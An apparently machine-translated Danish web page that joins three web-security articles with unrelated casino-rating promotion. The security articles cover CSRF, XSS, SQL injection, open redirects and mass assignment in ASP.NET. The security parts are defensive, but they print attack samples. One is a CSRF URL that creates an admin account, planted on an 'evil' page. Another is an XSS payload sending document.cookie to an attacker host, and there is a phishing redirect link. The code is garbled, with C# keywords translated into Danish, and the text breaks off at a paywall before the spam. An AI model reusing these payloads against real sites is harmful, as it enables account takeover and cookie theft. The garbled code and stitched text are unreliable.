Mistanke om et forfalskningsangreb på tværs af websteder. CSRF sårbarhed

Jeg forsøgte at beskrive præcis, hvad denne sårbarhed er, og vigtigst af alt, hvilke betingelser der er nødvendige for at udføre et CSRF-angreb.

I denne artikel vil jeg forsøge at tale om beskyttelse mod angreb af denne type udefra:

Fra klientens side - de vigtigste måder at beskytte dig selv på
Serverside - korrekt applikationsdesign

Hvis du er interesseret i, hvordan du beskytter dig mod CSRF, så velkommen til kat.

generel information

Generelt vil jeg minde dig om, at CSRF IKKE er en sårbarhed, det er en form for angreb. Og dette angreb udføres på slutbrugeren af en webapplikation ved hjælp af en sårbarhed i denne applikation, som kan kaldes "Mangel på korrekt verifikation af anmodningskilden" (jeg kom selv på navnet, dømme ikke strengt, men det er sandt). Men herefter vil jeg kalde CSRF en sårbarhed og et angreb rullet ind i én, da det er enklere, og det er sådan det accepteres =)

Og da angrebet udføres på brugeren, så skal brugeren forsvare sig... bare for sjov =) Faktum er, at enhver bruger kan reducere muligheden for dette angreb på ethvert websted, han bruger (selvom disse sider ikke har indbygget beskyttelse mod CSRF). Men ud over brugere kan webstedsudviklere selv designe deres applikation på en sådan måde, at de forhindrer muligheden for at udføre dette angreb på deres brugere.

Lad os se på beskyttelse fra begge sider.

Brugerbeskyttelse

Generelt er alt her meget banalt:

Klik ikke på links, der tilbydes dig af tredjeparter. Dette er det mest banale råd, jeg tror, at alle allerede ved dette, men jeg besluttede at sige det igen.
Fjern autorisation efter at have afsluttet arbejdet med et bestemt websted. Selvom der er en sårbarhed, vil angriberen ikke være i stand til at udføre handlinger på målwebstedet på dine vegne.
Brug en separat browser eller "private eller anonyme tilstande" til at arbejde med vigtige websteder (ideelt set skal du bruge en browser for hvert websted ^_^ eller endnu bedre, en separat computer: D).

Det er alt. Lad os nu gå videre til det vigtigste.

Udviklerbeskyttelse

Som allerede nævnt ligger sårbarheden i manglen på korrekt verifikation af kilden til anmodningen. Det vil sige, at når vi udvikler en applikation, skal vi indbygge funktionalitet til kontrol af denne kilde. Og hvad er det første, der falder os ind? Højre! Henviserkontrol.

Henviserkontrol

Jeg vil sige med det samme, for dem, der læser artikler diagonalt. At basere dit forsvar udelukkende på at tjekke denne header er dårligt(!). Hvorfor - se nedenfor.

Lad os først finde ud af, hvad denne metode er.

Vi arbejder med hjemmesider, der bruger HTTP-protokollen. Hver pakke i denne protokol er et sæt overskrifter + pakkeindhold. En af disse overskrifter er Referer. Den indeholder adressen på henvisningskilden. Et trivielt eksempel: du har websted A åbent, på dette websted klikker du på et link til websted B, i dette øjeblik, når du fremsætter en anmodning, vil Referer-headeren indeholde adressen på websted A. Det vil sige, det ser ud til, at dette er en ideel mekanisme til at spore, hvor brugeren kom fra.

Her er peberroden. Og pointen her er ikke, at henviseren kan forfalskes (hvilken fornuftig hacker ville bede offeret om at erstatte henvisningen og følge det angivne link). Og faktum er, at ifølge min statistik har omkring 5% af brugerne Referer-transmissionen deaktiveret. Det vil sige, enten vil disse fem procent slet ikke være i stand til at arbejde med webstedet, eller også vil de være sårbare over for dette angreb (afhængigt af din applikations politik).

Ja, ja, ja, jeg ved, hvad du tænker... Nå, hvad pokker med disse 5%? Lad dem være sårbare, men de resterende 95% er beskyttet og samtidig koster du lidt blod. Det vil sige, hvis henvisningen indeholder adressen på vores ansøgning eller er tom, betragter vi kilden som bekræftet? Her kommer peberroden igen! Der er muligheder for at tvinge ofrets browser til at opfylde anmodningen uden at angive refereren (jeg skrev om dette)! Og voila! Det viser sig, at alle brugere stadig er sårbare.

Generelt er denne metode som en uafhængig metode meningsløs.

Handlingsbekræftelse

Du kan vedhæfte en captcha til hver indsendelsesformular og vise den selv til registrerede brugere for at gemme dem fra CSRF... Selvom jeg måske ville foretrække at give min konto til en hacker end at arbejde i sådan et system...

Poletter

Nå, nu er den eneste rigtige og pålidelige måde.

Pointen med denne metode er at tilføje en parameter, der indeholder nogle "tokens" til hvert link, indsendelsesformular osv. Og når den modtager en anmodning, skal serveren kontrollere tilstedeværelsen af dette token i de accepterede parametre. Naturligvis skal hvert token for hver bruger være unikt, og endnu bedre, hvis hvert token er unikt.

Et af de enkleste og mest pålidelige eksempler på implementering - et nyt token genereres med hver anmodning og installeres i brugerens cookies og føjes også til parametrene for formularer og links på siden:

Og derefter, ved modtagelse af hver anmodning, sammenlignes tokenet fra cookies med det token, der er angivet i formularparametrene. Og hvis de er ens, så er kilden til anmodningen lovlig. Så genereres tokenet igen, og sættes i cookien igen osv. rund.

Generelt kan implementeringen være anderledes, men problemet er, at det er ret svært at skifte til tokens, da du skal tage højde for hvert link, hver form, hver side... Du kan kun beskytte vigtige sider/formularer/links, men så er der chance for at gå glip af nogle af dem.

Jeg beskytter personligt kun POST-formularer og meget vigtige links. Det vil sige, at POST i mine applikationer ikke virker uden det korrekte token. Dette eliminerer chancen for at glemme at beskytte en form, da det simpelthen ikke virker, og jeg vil bemærke det med det samme.

Konklusion

Jeg håber fra denne artikel, at du forstår, hvordan du beskytter dig selv mod CSRF-angreb.

Ja, jeg kan huske, at jeg lovede i den forrige besked at skrive om captchas, men for at være ærlig har jeg ikke længere kræfter til at skrive om disse captchas. Og jeg er træt af, at jeg som kun modtager forslag til at knække captchas i PM, og ingen andre normal arbejde.

Generelt vil jeg stige i offentlighedens øjne, jeg vil begynde at skrive artikler om sikkerhed. Min profil er hovedsageligt webapplikationssikkerhed, så jeg vil skrive om webapplikationssikkerhed, herunder disse applikationers sårbarheder.

Denne serie af artikler vil fokusere på CSRF-sårbarheder. Har du ikke hørt dette udtryk? Så er denne cyklus noget for dig ;)

Introduktion

Selvfølgelig har alle mere eller mindre erfarne udviklere i dag hørt om sådanne klassiske sårbarheder som:

SQL-injektion
PHP inkluderer

Tidligere, ved begyndelsen af udviklingen af internettet, indeholdt næsten hver applikation en masse sådanne sårbarheder. Men hver dag blev det sværere og sværere at støde på sårbarheder af denne type. Og crackere blev mere og mere sofistikerede, hvilket førte til udviklingen af nye typer og angrebsvektorer - en af disse angrebstyper blev identificeret som en separat klasse og blev kaldt CSRF.

Hvad er CSRF? Teori

Lad os gå til Wikipedia:

CSRF (Cross Site Request Forgery, også kendt som XSRF) er en type angreb på besøgende på webstedet, der udnytter fejl i HTTP-protokollen. Hvis et offer besøger et websted, der er oprettet af en angriber, sendes en anmodning i hemmelighed på hans vegne til en anden server (for eksempel til en betalingssystemserver), som udfører en ondsindet handling (f.eks. overfører penge til angriberens konto) . For at udføre dette angreb skal offeret være autoriseret på den server, som anmodningen sendes til, og denne anmodning må ikke kræve nogen bekræftelse fra brugeren, som ikke kan ignoreres eller forfalskes af angrebsscriptet.

I mere forståelige termer er dette et angreb, hvor angriberen forsøger at tvinge offerets browser til at oprette en anmodning til målserveren, hemmeligt fra offeret selv. Skematisk vil det se sådan ud:

Dette angreb minder lidt om klassisk XSS, hvor angriberen skulle tvinge offeret til at følge et link til en sårbar side. Her er det nødvendigt at tvinge brugeren til at gå til en side specielt udarbejdet af angriberen, hvortil der er tilføjet noget kode. Når denne kode udføres, sender offerets browser en bestemt anmodning til en anden server (for eksempel under dække af at downloade et billede), og udfører derved visse handlinger, der er nødvendige for angriberen.

Faren ved CSRF er, at denne adfærd hos browsere og hele HTTP-protokollen er normal. For eksempel er det normalt, at et websted kan indeholde billeder fra et andet websted på dets sider. Og browseren ved ikke på forhånd, hvad de præcist forsøger at tvinge den til at downloade, virkelig et billede, eller under dække af denne download vil en handling blive udført på målstedet.

Lidt øvelse

Lad os for eksempel tage et sfærisk målsted i et vakuum, som har et helt standard adminpanel med funktionen at tilføje en ny administrator:

Udvikleren af denne formular vidste intet om CSRF-sårbarheden, og han beskyttede naturligvis ikke mod den. Nå, plus alt (for at gøre eksemplet enklere) transmitterede den data ved hjælp af GET-metoden. Ved at klikke på "opret"-knappen genererer browseren en anmodning til følgende side:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
Og efter anmodningen er gennemført, vil en ny administrator dukke op på dette websted. Det ser ud til, at hvad så - dette er ret almindelig funktionalitet på mange websteder. Men her ligger hovedfejlen. Offeret kan blive tvunget til at opfylde denne anmodning, når han besøger et helt andet websted. Opret følgende side på http://evil/page.html

Almindelig side

Med almindelig tekst. Men med usædvanligt indhold

Og nu, hvis offeret går til http://evil/page.html, vil browseren forsøge at indlæse billedet, men i stedet lave en anmodning til adminpanelet og derved oprette en ny administrator. Den eneste forudsætning for vellykket udnyttelse af denne sårbarhed er, at offeret skal være autoriseret på den sårbare server på tidspunktet for angrebet.

Konklusion

Vi fandt ud af, hvad CSRF er. Lad os prøve at fremhæve de grundlæggende krav til et vellykket angreb:

Evnen til at tvinge offeret til at gå til en side med en ekstra kode. Eller muligheden for, at en angriber ændrer sider, som ofret ofte besøger (som man siger, hvis bjerget ikke går til Mohammed, så...).
Manglende CSRF-beskyttelse på målstedet (om det i).
Brugeren på tidspunktet for angrebet skal være autoriseret til den handling, vi ønsker at udføre på hans vegne.

Og baseret på disse krav vil vi forsøge at bygge beskyttelse i den næste artikel...

ASP.NET MVC er ikke den mest hypede, men ret populære stak blandt webudviklere. Fra en (anti-)hackers synspunkt giver dens standardfunktionalitet dig et grundlæggende sikkerhedsniveau, men der er behov for yderligere beskyttelse for at beskytte mod langt de fleste hackertricks. I denne artikel vil vi dække det grundlæggende, som en ASP.NET-udvikler (det være sig Core, MVC, MVC Razor eller Web Forms) bør vide om sikkerhed.

Lad os starte med velkendte typer angreb.

SQL-injektion

Mærkeligt nok er injektion og især SQL-injektion i 2017 på førstepladsen blandt "Top 10 sikkerhedsrisici ved OWASP" (Open Web Application Security Project). Denne type angreb involverer brug af brugerinput som forespørgselsparametre på serversiden.

Et eksempel på en klassisk SQL-injektion er mere typisk for Web Forms-applikationer. Brug af parametre som anmodningsværdier hjælper med at beskytte mod angreb:

String commandText = "OPDATERE Bruger SET Status = 1 WHERE KundeID = @ID;"; SqlCommand kommando = ny SqlCommand(kommandoTekst, forbindelsesstreng); command.Parameters["@ID"].Value = kunde-ID;

Hvis du udvikler en MVC-applikation, dækker Entity Framework nogle sårbarheder. Det kræver en indsats at få en SQL-injektion til at fungere i en MVC/EF-applikation. Dette er dog muligt, hvis du udfører SQL-kode ved hjælp af ExecuteQuery eller kalder dårligt skrevne lagrede procedurer.

Selvom ORM giver dig mulighed for at undgå SQL-injektion (med undtagelse af eksemplerne ovenfor), anbefales det at begrænse de værdier, som modelfelter, og derfor form, kan acceptere af attributter. For eksempel, hvis du forventer, at kun tekst kan indtastes i et felt, så brug Regex til at angive området ^+$ . Og hvis der skal indtastes tal i feltet, så angiv dette som et krav:

Offentlig streng Zip (get; sæt;)

I webformularer kan du begrænse værdier ved hjælp af validatorer. Eksempel:

Siden .NET 4.5 Web Forms bruger diskret validering. Det betyder, at du ikke behøver at skrive nogen ekstra kode for at kontrollere værdien af formularen.

Datavalidering kan især hjælpe med at beskytte mod en anden velkendt sårbarhed kaldet cross-site scripting (XSS).

XSS

Et typisk eksempel på XSS er at tilføje et script til en kommentar eller skrive til en gæstebog. Det kan se sådan ud:

document.location="https://verybadcoolhacker.com/?cookie="+encodeURIComponent(document.cookie)

Som du forstår, overføres cookies fra dit websted i dette eksempel som en parameter til en hackerressource.

I webformularer kan du lave en fejl med kode som denne:

Beklager, men adgangskoden er forkert

Det er klart, at der i stedet for brugernavn kan være et script. For at undgå scriptudførelse kan du i det mindste bruge et andet ASP.NET-udtryk: der koder dets indhold.

Hvis vi bruger Razor, kodes strenge automatisk, hvilket reducerer muligheden for at implementere XSS til et minimum - en hacker kan kun trække det ud, hvis du laver en alvorlig fejl, f.eks. bruger @Html.Raw(Model.brugernavn) eller brug MvcHtmlString i stedet for streng i din model.

For yderligere beskyttelse mod XSS er dataene også kodet i C#-kode. I .NET Core kan du bruge følgende indkodere fra System.Text.Encodings.Web-navneområdet: HtmlEncoder, JavaScriptEncoder og UrlEncoder.

Følgende eksempel returnerer strengen:

String encodedString = HtmlEncoder.Default.Encode("");

Classic .NET bruger HttpUtility.HtmlEncode. Og startende med .NET 4.5 kan du gøre AntiXssEncoder til standardkoderen. Dette gøres ved at tilføje en attribut til httpRuntime-tagget for web.config-filen:

Således vil vi, mens vi beholder den gamle kode HttpUtility.HtmlEncode , bruge en ny og mere modstandsdygtig klasse over for sårbarheder (de gamle klasser HttpServerUtility og HttpResponseHeader vil også blive brugt i den nye kode).

Det anbefales at kode strenge, ikke før du gemmer dem i databasen, men før du viser dem. Derudover, hvis vi bruger en streng indtastet af brugeren som en parameter, der skal sendes til URL'en, så skal vi bruge UrlEncoder.

Cross-Site Request Forgery (CSRF)

Wikipedia, i "Aliexpress"-stil, hævder, at CSRF på russisk lyder som "forfalskning af anmodninger på tværs af websteder." I denne type angreb sender den ondsindede hjemmeside, som brugeren besøger, anmodninger til en anden ressource. Til en god side, hvor brugeren er registreret, og som han for nylig har besøgt. Det kan ske, at loginoplysningerne på et godt websted stadig forbliver i cookien. Så kan nogle skjulte ondsindede handlinger meget vel blive begået.

Den velkendte @Html.AntiForgeryToken()-hjælper, tilføjet til View, og attributten tilføjet før handlingen af controlleren hjælper med at undgå dette angreb i MVC. Denne beskyttelsesmetode er af typen STP (synchronizer token pattern). Den nederste linje er, at når man går ind på en side, sender serveren brugeren et token, og efter at brugeren har fremsat en anmodning, sender han sammen med dataene tokenet tilbage til serveren til verifikation. Tokens kan gemmes enten i overskriften eller i et skjult felt eller i cookies.

Razor-sider er som standard beskyttet mod XSRF/CSRF-angreb. Men hvis vi bruger AJAX-anmodninger, så er det muligt at sende tokens i headeren. Sammenlignet med at bruge AntiForgeryToken er dette ikke så enkelt. ASP.NET Core bruger tjenesten Microsoft.AspNetCore.Antiforgery.IAntiforgery til at konfigurere denne funktion. Klassiske ASP.NET-applikationer bruger AntiForgery.GetTokens-metoden til at generere tokens og AntiForgery.Validate til at validere de tokens, der modtages af serversiden.

Åbn omdirigeringsangreb

Vær forsigtig med omdirigeringer! Følgende kode er meget farlig:

Response.Redirect(Request.QueryString["Url"]);

En angriber kan tilføje et link til deres hjemmeside. Og når brugeren ser, at URL'en begynder med et godt websted, overvejer han muligvis ikke hele adressen (især hvis den er lang) og klikker på linket og går dermed til et ondsindet websted fra dit gode websted (du har gode websteder, ikke? ). Denne sårbarhed kan især bruges til phishing. Eksempel på et phishing-link:

Http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Mange brugere, der har modtaget en e-mail med et link, tjekker om domænet matcher og forventer slet ikke at blive omdirigeret til en ondsindet ressource. Og hvis omdirigeringen åbner en side med samme design, vil mange brugere indtaste deres brugernavn og adgangskode uden tøven (beslutter, at de ved et uheld er logget ud af deres konto). Hvorefter angriberne i øvrigt kan omdirigeres tilbage til den rigtige side.

Denne type angreb gælder også for MVC. Følgende eksempel kontrollerer, om linket er lokalt:

Private ActionResult RedirectToLocalPage(string redirectUrl) ( if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // ... )

For at beskytte mod denne type angreb kan du også bruge LocalRedirect-hjælpermetoden:

Private ActionResult RedirectToLocalPage(string redirectUrl) (retur LocalRedirect(redirectUrl); )

Prøv generelt aldrig at stole på de data, du modtager.

Masseopgave

Lad os se på denne sårbarhed ved hjælp af et eksempel. Lad os sige, at vores hjemmeside har en simpel model med to egenskaber:

Offentlig klasse UserModel ( offentlig streng Navn ( get; set; ) public bool IsAdmin ( get; set; ) )

Og der er en regelmæssig og ret enkel visning:

@model UserModel @if (Model.IsAdmin) ( Du er admin) andet ( Du er en standardbruger) Indsend

Med denne visning kan du kun redigere brugernavnet, ikke?

Lad os nu gå videre til den lige så simple kode:

Offentlig IActionResult Vulnerable(int id, UserModel model) ( return View("Index", model); )

Er alt i orden her? Som det viser sig, nej. Og alt sammen fordi handlingen er markeret som HttpPost. For at bekræfte dette skal du blot åbne et hjælpeprogram som Postman eller Fiddler og sende en POST-anmodning til adressen, der angiver id- og IsAdmin-parametrene. Hvis vi tester lokalt, kan adressen være: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

Som du kan se på skærmbilledet, er der opnået adgang til hemmelig information (HTML-koden indeholder linjen Du er admin). Hvordan beskytter du dig selv mod denne type angreb? Den enkleste mulighed er at undgå at komme i en situation, hvor et objekt sendes med en HttpPost. Og hvis dette ikke kan undgås, skal du være forberedt på, at alt kan overføres. En mulighed er at oprette en slags separat klasse for at sende den gennem HttpPost. Dette kan enten være basisklassen for den aktuelle klasse med offentlige parametre eller en dubletklasse. I denne klasse kan vigtige felter markeres med attributten Redigerbar med værdien false:

Fortsættelse er kun tilgængelig for medlemmer Mulighed 1. Tilmeld dig "site"-fællesskabet for at læse alt materiale på webstedet

Medlemskab i fællesskabet inden for den angivne periode vil give dig adgang til ALT Hacker-materiale, øge din personlige kumulative rabat og give dig mulighed for at samle en professionel Xakep Score-bedømmelse!

At finde pålidelige og ærlige online casinoer kræver en masse fritid, især når det kommer til begyndere. Det er nødvendigt at evaluere spilleklubbens gennemsigtighed, online omdømme, anmeldelser af andre brugere, betalingshastighed og mange andre operationelle faktorer. For at redde spillere fra sådan en skæbne har vi samlet en vurdering af casinoer, der har gennemgået en grundig kontrol og bekræftet deres egen ærlighed og gode afkast fra spilleautomater.

Vores vurdering af de bedste kasinoer

Du behøver ikke længere at spilde din personlige tid på at kontrollere virksomhedens pålidelighed. Erfarne analytikere med speciale i gambling og tilbringer snesevis af timer på kasinoer hver måned udførte deres egen objektive vurdering af spilleklubbernes arbejde. De analyserede hundredvis af virksomheder for i sidste ende at tilbyde brugerne de bedste platforme, der er tilgængelige på internettet.

Den oprindelige liste over klubber var ret stor, men under analyseprocessen blev tvivlsomme og upålidelige etablissementer elimineret. For eksempel tjener tilstedeværelsen af en falsk licens, mangel på certifikater til slots, udskiftning af en server i en spilleautomat og meget mere som en advarsel til eksperter. Selv en faktor, der giver dig mulighed for at tvivle på kasinoets integritet, er en grund til udelukkelse fra vurderingen.

Ud over en overfladisk analyse af spilleplatforme kontrolleres oplysninger om etablissementer på internettet. Online omdømme, anmeldelser af nuværende og tidligere spillere, tilstedeværelsen af konfliktsituationer, kasinoskandaler og måder at løse problemer fra skaberne tages i betragtning i analysen. Der lægges særlig vægt på unge klubber med op til 1-2 års erfaring.

Hvordan er casinovurderingen sammensat, og hvem kommer dertil?

For at skabe en vurdering af licenserede kasinoer involverer vi erfarne spillere og analytikere med over 10 års erfaring i branchen. Takket være deres viden kan de nemt luge ud i svigagtige klubber og derefter foretage en grundig analyse af de resterende etablissementer. Resultatet er en lille liste over pålidelige casinoer, hvor du trygt kan spille uden frygt for retfærdigheden af resultaterne og udbetaling af gevinster.

tilgængelighed af en licens fra spilleregulatoren og den valgte jurisdiktion til registrering;
platformsikkerhed, som garanterer fortroligheden af data og betalingsoplysninger;
at vælge licenseret software fra pålidelige udbydere, hvis arbejde ikke kan forstyrres;
tilgængelighed af en russisksproget version for større bekvemmelighed for brugere fra Rusland og CIS-lande;
supportservice, herunder dens arbejdstidsplan, reaktionshastighed, kvalitet af problemløsning;
tilbagetrækning af penge uden yderligere forsinkelser eller verifikationer, samt muligheder for at modtage penge og hastigheden på behandlingen af transaktioner;
bonusprogrammer for nye og regelmæssige brugere, tilstedeværelsen af turneringer, lotterier, periodiske kampagner;
betalingssystemer, der påvirker kundernes bekvemmelighed for at genopfylde deres konti og hæve gevinster.

Dette er blot en lille liste over aktuelle krav, som vurderes af eksperter. Hvert kriterium får sin egen vigtighedskoefficient, som tages i betragtning, når det endelige resultat opsummeres.

Hvad er et licenseret kasino?

Kasinovurderinger, der indikerer ærligheden og gennemsigtigheden af spilleplatforme, kan udelukkende bestå af virksomheder med gyldige driftslicenser. Lovlige klubber skal kontrolleres af regulatorer og overholde alle deres regler for at få tilladelse.

Bare at nævne tilstedeværelsen af en licens på webstedet er ikke nok. Eksperter forstår, at svindlere kan bruge logoer til at bedrage naive brugere, så de analyserer oplysningerne uafhængigt. For at gøre dette skal du gå til regulatorens officielle websted og bekræfte oplysningerne ved hjælp af dokumentnummeret eller navnet på den juridiske enhed. Hvis der ikke er nogen licensoplysninger, er det falsk.

Analytikere bruger også teknisk analyse til at kontrollere licenseret software. Ved hjælp af udviklerværktøjer får de adgang til information om dataserveren. Hvis casinoet bruger softwareudbyderens officielle portal, så er softwaren ærlig og lovlig. Det betyder, at du ikke kan blande dig i dets arbejde og pille ved de endelige resultater.

Hvordan bestemmes kasinoets retfærdighed?

Det er ret svært selvstændigt at vurdere en spilleklubs integritet, hvilket skyldes mængden af tilgængelige ressourcer og viden. Før man inkluderer virksomheder i vurderingen af ærlige kasinoer, kontrollerer analytikere omhyggeligt mange faktorer:

regioner, hvorfra spillere accepteres, da forbudte jurisdiktioner taler meget;
tilbagetrækningsgrænser, der begrænser engangstransaktioner, såvel som det daglige, ugentlige og månedlige antal transaktioner;
tilgængelighed af oplysninger om KYC og AML, som indikerer overholdelse af kravene i lovgivningen om ærlighed og lovlighed af penges oprindelse;
et ry, der bekræfter ærligheden og pålideligheden af klubbens arbejde og fraværet af højprofilerede skandaler eller problemer;
arbejdets varighed, så du fuldt ud kan evaluere onlineressourcens historie, herunder alle fordele og ulemper;
tilstedeværelsen af en regulator og overholdelse af dens regler, hvilket øger chancerne for fair drift.

Licens og regulator er ret vigtige kriterier, men dette giver ikke en 100% garanti for ærlighed. Kun klubber, der tillod spillere at få store gevinster og jackpots, gav gaver til lotterier og turneringer, kan regne med en sådan titel.

Typer af spilleautomater

Antallet af spilleautomater, automater og andre former for spilunderholdning siger meget om etableringen. Nogle klubber samarbejder kun med få softwareudbydere, men modtager populære og nye spiltilbud fra dem, mens andre udvider deres netværk af partnerskabsaftaler og inviterer et stort antal brands til at samarbejde. Jo flere maskiner der præsenteres på spilleplatformen, jo lettere er det for klienten at vælge den spillemaskine, han kan lide.

Men bedømmelsen af licenserede kasinoer tager ikke kun hensyn til variationen af spil, men også deres kvalitet. Pålidelige spillevirksomheder bruger eksklusivt licenseret software, der er blevet testet for retfærdighed og sikkerhed. Sådanne maskiner giver dig mulighed for at regne med afkast på op til 98%, og du kan ikke forstyrre deres arbejde og justere algoritmen for at generere resultater.

For at være ærlig, er alle websteder rettet mod at tjene penge. Selvom en af spillerne vinder jackpotten, forbliver etableringen i sort i det lange løb. Men kun ærlige klubber tillader brugere at få en stor jackpot og hæve den til en rigtig konto. Det er det, der adskiller licenserede online casinoer fra svigagtige projekter.

Bonuspolitik

Det er umuligt at oprette en casinovurdering uden at tage hensyn til bonuspolitikken. Alle spilleklubber bruger kampagner og gaver til at tiltrække nye og fastholde eksisterende kunder. Men nogle virksomheder opfører sig ret snedigt og skaber skjulte betingelser for væddemål eller optjening, og sætter urealistiske væddemålsbetingelser fra x60-100, som er næsten umulige at opfylde.

Standardsættet af incitamenter består af følgende kategorier:

Ingen indskudsbonus for at byde nye kunder velkommen - tildeles for at bekræfte din e-mailadresse og telefonnummer. Som belønning bruger de gratis penge eller gratis spins på spillemaskiner med et obligatorisk omsætningskrav.

Registreringsgave - gratis spins eller multiplikatorer af kontogenopfyldningsbeløbet med 1-5 indbetalinger fra det øjeblik, du opretter en personlig profil. Den nøjagtige bonusstørrelse og maksimumgrænser indstilles individuelt af hver klub.

Loyalitetsprogram - forskellige systemer med brugerstatus, der påvirker størrelsen af den ugentlige cashback, tilgængeligheden af personlige servicevilkår, individuelle gaver, gunstige valutakurser for indenlandsk valuta og meget mere.

Kampagnekoder er periodiske kampagner fra spilleklubber, der giver gavekort til gratis spins, ingen indbetalinger eller kontomultiplikatorer til alle.

Russisktalende kasinoer

Når der udarbejdes en vurdering af de bedste kasinoer i 2020, tages der hensyn til tilstedeværelsen af det russiske sprog på platformen. Den russisksprogede grænseflade giver brugere fra Rusland, Hviderusland, Ukraine og CIS-lande mulighed for nemt at forstå registrering, login, kontogenopfyldning og andre funktioner på platformen. Dette bekræfter også, at virksomheden er fokuseret på russisktalende brugere, og tilbyder dem unikke bonusser og support.

Der tages hensyn til supporttjenestens arbejde. De fleste spilleklubber yder kun assistance til kunder på engelsk, hvilket gør kommunikationen vanskelig. Du skal bruge en oversætter eller kontakte kyndige personer for at fremsætte en anmodning og forstå supportsvaret. Derfor inkluderer bedømmelsen kun de onlineklubber, der rådgiver kunder i supportchats og telefonisk på russisk.

Den russisksprogede grænseflade i kasinoet giver dig mulighed for at forstå platformens brugerregler uden yderligere indsats, studiebonustilbud og funktionerne i deres optjening, indsatser og deltage i turneringer og lotterier uden tvivl om rigtigheden af handlinger.

Kasino med hurtige hævninger

Der lægges særlig vægt på hastigheden af udbetalinger i online casinoer. Nogle klubber tilbyder hævninger til bankkort og e-wallets inden for et par timer, og for VIP-kunder behandler de anmodninger med det samme. Andre anvender manuel behandling af ansøgninger på hverdage efter en særlig tidsplan, så betalingerne kan blive forsinket med op til 1-3 hverdage fra det øjeblik, ansøgningen indgives. For at spare brugere for lange ventetider, er der oprettet en casinovurdering med hurtige udbetalinger.

Den består udelukkende af de institutioner, der omgående behandler alle ansøgninger og ikke skaber hindringer for at modtage penge. Ikke kun hastigheden af overførsler tages i betragtning, men også fraværet af problemer, når du anmoder om store betalinger eller pengeoverførsler efter at have vundet jackpotten eller den store jackpot. Kun ærlige virksomheder kan garantere rimelige betalinger og fravær af problemer med betalinger.

Der foretages også en analyse af tilgængelige betalingssystemer for indbetalinger og anmodninger om penge. Standardsider understøtter et minimalt antal metoder, men progressive klubber analyserer konstant tendenser for at integrere nye tekniske løsninger.

Vigtigste betalingssystemer i online casinoer:

bankkort MIR, MasterCard, Visa;
elektroniske tegnebøger QIWI, Yandex, Webmoney, Neteller, Skrill og andre;
mobilbetalinger Beeline, MegaFon, MTS, TELE2;
russisk internetbank;
populære kryptovalutaer, herunder Bitcoin, Ethereum, Litecoin.

Bruger teknisk support service

En vigtig faktor, der blev taget i betragtning for at skabe en vurdering af ærlige kasinoer, er tilgængeligheden af kundesupport og kvaliteten af dets arbejde. Pålidelige etablissementer tager sig af deres egen kundebase, så de organiserer særlige telefonlinjer samt online chats for hurtigt at besvare brugerspørgsmål og løse deres problemer.

For at analysere support brugte analytikere telefonlinjer, live chats og e-mail-kontakter. På forskellige tidspunkter af dagen modtog stedets medarbejdere forskellige spørgsmål eller anmodninger om at løse tekniske problemer. Herefter blev kvaliteten af deres arbejde vurderet, hvilket omfattede følgende faktorer:

reaktionshastighed;
om konsulenten løser problemet og hvor lang tid det tager;
læsefærdigheder af svar og tilgængelighed af russisktalende supportmedarbejdere.

Hvis kasinoet ikke har russisktalende operatører, anbefaler vi at bruge online-oversætteren fra Google til at oversætte spørgsmål og svar fra konsulenter.

konklusioner

Før du registrerer dig i en onlineklub, skal du analysere pålideligheden og gennemsigtigheden af dens arbejde samt kontrollere dens omdømme og anmeldelser online. I stedet foreslår vi, at du bruger en vurdering af ærlige kasinoer, som er udarbejdet af erfarne spillere. Ved at bruge deres egen erfaring afviste de snesevis af mistænkelige spilleklubber og efterlod de bedste etablissementer i 2020 på listen.